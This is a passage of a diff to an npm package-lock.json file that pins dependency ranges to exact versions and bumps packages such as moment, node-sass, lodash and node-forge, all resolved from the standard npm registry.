"1.6.0", + "map-obj": "1.0.1", + "minimist": "1.2.0", + "normalize-package-data": "2.4.0", + "object-assign": "4.1.1", + "read-pkg-up": "1.0.1", + "redent": "1.0.0", + "trim-newlines": "1.0.0" } }, "merge-descriptors": { @@ -9956,19 +10700,19 @@ "dev": true, "optional": true, "requires": { - "arr-diff": "^2.0.0", - "array-unique": "^0.2.1", - "braces": "^1.8.2", - "expand-brackets": "^0.1.4", - "extglob": "^0.3.1", - "filename-regex": "^2.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.1", - "kind-of": "^3.0.2", - "normalize-path": "^2.0.1", - "object.omit": "^2.0.0", - "parse-glob": "^3.0.4", - "regex-cache": "^0.4.2" + "arr-diff": "2.0.0", + "array-unique": "0.2.1", + "braces": "1.8.5", + "expand-brackets": "0.1.5", + "extglob": "0.3.2", + "filename-regex": "2.0.1", + "is-extglob": "1.0.0", + "is-glob": "2.0.1", + "kind-of": "3.2.2", + "normalize-path": "2.1.1", + "object.omit": "2.0.1", + "parse-glob": "3.0.4", + "regex-cache": "0.4.3" } }, "miller-rabin": { @@ -9977,8 +10721,8 @@ "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==", "dev": true, "requires": { - "bn.js": "^4.0.0", - "brorand": "^1.0.1" + "bn.js": "4.11.8", + "brorand": "1.1.0" } }, "mime": { @@ -9997,7 +10741,7 @@ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.16.tgz", "integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=", "requires": { - "mime-db": "~1.29.0" + "mime-db": "1.29.0" } }, "mimic-fn": { @@ -10012,7 +10756,7 @@ "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", "dev": true, "requires": { - "dom-walk": "^0.1.0" + "dom-walk": "0.1.1" } }, "minimalistic-assert": { @@ -10032,7 +10776,7 @@ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", "requires": { - "brace-expansion": "^1.1.7" + "brace-expansion": "1.1.8" } }, "minimist": { @@ -10041,31 +10785,31 @@ "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=" }, "mississippi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", - "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", + "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", "dev": true, "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" + "concat-stream": "1.6.0", + "duplexify": "3.7.1", + "end-of-stream": "1.4.4", + "flush-write-stream": "1.1.1", + "from2": "2.3.0", + "parallel-transform": "1.2.0", + "pump": "3.0.0", + "pumpify": "1.5.1", + "stream-each": "1.2.3", + "through2": "2.0.5" } }, "mixin-deep": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", - "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", + "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", "dev": true, "requires": { - "for-in": "^1.0.2", - "is-extendable": "^1.0.1" + "for-in": "1.0.2", + "is-extendable": "1.0.1" }, "dependencies": { "is-extendable": { @@ -10074,27 +10818,11 @@ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, "requires": { - "is-plain-object": "^2.0.4" + "is-plain-object": "2.0.4" } } } }, - "mixin-object": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", - "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", - "requires": { - "for-in": "^0.1.3", - "is-extendable": "^0.1.1" - }, - "dependencies": { - "for-in": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", - "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=" - } - } - }, "mkdirp": { "version": "0.5.1", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", @@ -10144,12 +10872,12 @@ "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", "dev": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-flag": { @@ -10164,15 +10892,15 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } }, "moment": { - "version": "2.22.2", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", - "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=" + "version": "2.24.0", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.24.0.tgz", + "integrity": "sha512-bV7f+6l2QigeBBZSM/6yTNq4P2fNpSWj/0e7jQcy87A8e7o2nAfP/34/2ky5Vw4B9S446EtIhodAzkFCcR4dQg==" }, "move-concurrently": { "version": "1.0.1", @@ -10180,12 +10908,12 @@ "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", "dev": true, "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.7.1", + "run-queue": "1.0.3" } }, "ms": { @@ -10200,8 +10928,8 @@ "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", "dev": true, "requires": { - "dns-packet": "^1.3.1", - "thunky": "^1.0.2" + "dns-packet": "1.3.1", + "thunky": "1.1.0" } }, "multicast-dns-service-types": { @@ -10223,23 +10951,28 @@ "dev": true, "optional": true }, + "nanoid": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.1.tgz", + "integrity": "sha512-0YbJdaL4JFoejIOoawgLcYValFGJ2iyUuVDIWL3g8Es87SSOWFbWdRUMV3VMSiyPs3SQ3QxCIxFX00q5DLkMCw==" + }, "nanomatch": { "version": "1.2.13", "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "fragment-cache": "^0.2.1", - "is-windows": "^1.0.2", - "kind-of": "^6.0.2", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "fragment-cache": "0.2.1", + "is-windows": "1.0.2", + "kind-of": "6.0.2", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "arr-diff": { @@ -10269,15 +11002,15 @@ "dev": true }, "negotiator": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz", - "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=", + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==", "dev": true }, "neo-async": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.2.tgz", - "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==" + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz", + "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==" }, "next-tick": { "version": "1.0.0", @@ -10297,7 +11030,7 @@ "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", "dev": true, "requires": { - "lower-case": "^1.1.1" + "lower-case": "1.1.4" } }, "node-fetch": { @@ -10305,14 +11038,14 @@ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", "requires": { - "encoding": "^0.1.11", - "is-stream": "^1.0.1" + "encoding": "0.1.12", + "is-stream": "1.1.0" } }, "node-forge": { - "version": "0.7.5", - "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.7.5.tgz", - "integrity": "sha512-MmbQJ2MTESTjt3Gi/3yG1wGpIMhUfcIypUCGtTizFR9IiccFwxSpfp0vtIZlkFclEqERemxfnSdZEMR9VqqEFQ==", + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.9.0.tgz", + "integrity": "sha512-7ASaDa3pD+lJ3WvXFsxekJQelBKRpne+GOVbLbtHYdd7pFspyeuJHnWfLplGf3SwKGbfs/aYl5V/JCIaHVUKKQ==", "dev": true }, "node-gyp": { @@ -10320,29 +11053,29 @@ "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "^2.87.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" + "fstream": "1.0.12", + "glob": "7.1.6", + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.88.0", + "rimraf": "2.7.1", + "semver": "5.3.0", + "tar": "2.2.2", + "which": "1.3.0" }, "dependencies": { "ajv": { - "version": "6.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", - "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz", + "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==", "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" } }, "aws4": { @@ -10365,8 +11098,8 @@ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "requires": { - "ajv": "^6.5.5", - "har-schema": "^2.0.0" + "ajv": "6.10.2", + "har-schema": "2.0.0" } }, "json-schema-traverse": { @@ -10375,16 +11108,16 @@ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "mime-db": { - "version": "1.40.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", - "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" + "version": "1.42.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.42.0.tgz", + "integrity": "sha512-UbfJCR4UAVRNgMpfImz05smAXK7+c+ZntjaA26ANtkXLlOe947Aag5zdIcKQULAiF9Cq4WxBi9jUs5zkA84bYQ==" }, "mime-types": { - "version": "2.1.24", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", - "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", + "version": "2.1.25", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.25.tgz", + "integrity": "sha512-5KhStqB5xpTAeGqKBAMgwaYMnQik7teQN4IAzC7npDv6kzeU6prfkR67bc87J1kWMPGkoaZSq1npmexMgkmEVg==", "requires": { - "mime-db": "1.40.0" + "mime-db": "1.42.0" } }, "oauth-sign": { @@ -10393,41 +11126,41 @@ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" }, "psl": { - "version": "1.1.32", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", - "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.4.0.tgz", + "integrity": "sha512-HZzqCGPecFLyoRj5HLfuDSKYTJkAfB5thKBIkRHtGjWwY7p1dAyveIbXIq4tO0KYfDF2tHqPUgY9SDnGm00uFw==" }, "request": { "version": "2.88.0", "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.0", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" + "aws-sign2": "0.7.0", + "aws4": "1.8.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.2", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.1.3", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.25", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", + "safe-buffer": "5.2.0", + "tough-cookie": "2.4.3", + "tunnel-agent": "0.6.0", + "uuid": "3.3.3" } }, "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==" }, "semver": { "version": "5.3.0", @@ -10439,64 +11172,69 @@ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "requires": { - "psl": "^1.1.24", - "punycode": "^1.4.1" + "psl": "1.4.0", + "punycode": "1.4.1" } }, "uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz", + "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ==" } } }, "node-libs-browser": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", - "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz", + "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==", "dev": true, "requires": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^1.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", - "path-browserify": "0.0.0", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", + "assert": "1.5.0", + "browserify-zlib": "0.2.0", + "buffer": "4.9.2", + "console-browserify": "1.2.0", + "constants-browserify": "1.0.0", + "crypto-browserify": "3.12.0", + "domain-browser": "1.2.0", + "events": "3.0.0", + "https-browserify": "1.0.0", + "os-browserify": "0.3.0", + "path-browserify": "0.0.1", + "process": "0.11.10", + "punycode": "1.4.1", + "querystring-es3": "0.2.1", + "readable-stream": "2.3.6", + "stream-browserify": "2.0.2", + "stream-http": "2.8.3", + "string_decoder": "1.3.0", + "timers-browserify": "2.0.11", "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.10.3", - "vm-browserify": "0.0.4" + "url": "0.11.0", + "util": "0.11.1", + "vm-browserify": "1.1.2" }, "dependencies": { + "buffer": { + "version": "4.9.2", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz", + "integrity": "sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==", + "dev": true, + "requires": { + "base64-js": "1.3.1", + "ieee754": "1.1.13", + "isarray": "1.0.0" + } + }, "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, - "process": { - "version": "0.11.10", - "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", - "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", - "dev": true - }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -10505,59 +11243,78 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + }, + "dependencies": { + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } } }, "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", + "dev": true + } } } } }, "node-sass": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz", - "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==", + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.0.tgz", + "integrity": "sha512-W1XBrvoJ1dy7VsvTAS5q1V45lREbTlZQqFbiHb3R3OTTCma0XBtuG6xZ6Z4506nR4lmHPTqVRwxT6KgtWC97CA==", "requires": { - "async-foreach": "^0.1.3", - "chalk": "^1.1.1", - "cross-spawn": "^3.0.0", - "gaze": "^1.0.0", - "get-stdin": "^4.0.1", - "glob": "^7.0.3", - "in-publish": "^2.0.0", - "lodash": "^4.17.11", - "meow": "^3.7.0", - "mkdirp": "^0.5.1", - "nan": "^2.13.2", - "node-gyp": "^3.8.0", - "npmlog": "^4.0.0", - "request": "^2.88.0", - "sass-graph": "^2.2.4", - "stdout-stream": "^1.4.0", - "true-case-path": "^1.0.2" + "async-foreach": "0.1.3", + "chalk": "1.1.3", + "cross-spawn": "3.0.1", + "gaze": "1.1.3", + "get-stdin": "4.0.1", + "glob": "7.1.6", + "in-publish": "2.0.0", + "lodash": "4.17.15", + "meow": "3.7.0", + "mkdirp": "0.5.1", + "nan": "2.14.0", + "node-gyp": "3.8.0", + "npmlog": "4.1.2", + "request": "2.88.0", + "sass-graph": "2.2.4", + "stdout-stream": "1.4.1", + "true-case-path": "1.0.3" }, "dependencies": { "ajv": { - "version": "6.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", - "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz", + "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==", "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" } }, "aws4": { @@ -10570,8 +11327,8 @@ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", "requires": { - "lru-cache": "^4.0.1", - "which": "^1.2.9" + "lru-cache": "4.1.3", + "which": "1.3.0" } }, "extend": { @@ -10589,8 +11346,8 @@ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "requires": { - "ajv": "^6.5.5", - "har-schema": "^2.0.0" + "ajv": "6.10.2", + "har-schema": "2.0.0" } }, "json-schema-traverse": { @@ -10599,21 +11356,21 @@ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "lodash": { - "version": "4.17.11", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", - "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" }, "mime-db": { - "version": "1.40.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", - "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" + "version": "1.42.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.42.0.tgz", + "integrity": "sha512-UbfJCR4UAVRNgMpfImz05smAXK7+c+ZntjaA26ANtkXLlOe947Aag5zdIcKQULAiF9Cq4WxBi9jUs5zkA84bYQ==" }, "mime-types": { - "version": "2.1.24", - "resolved": 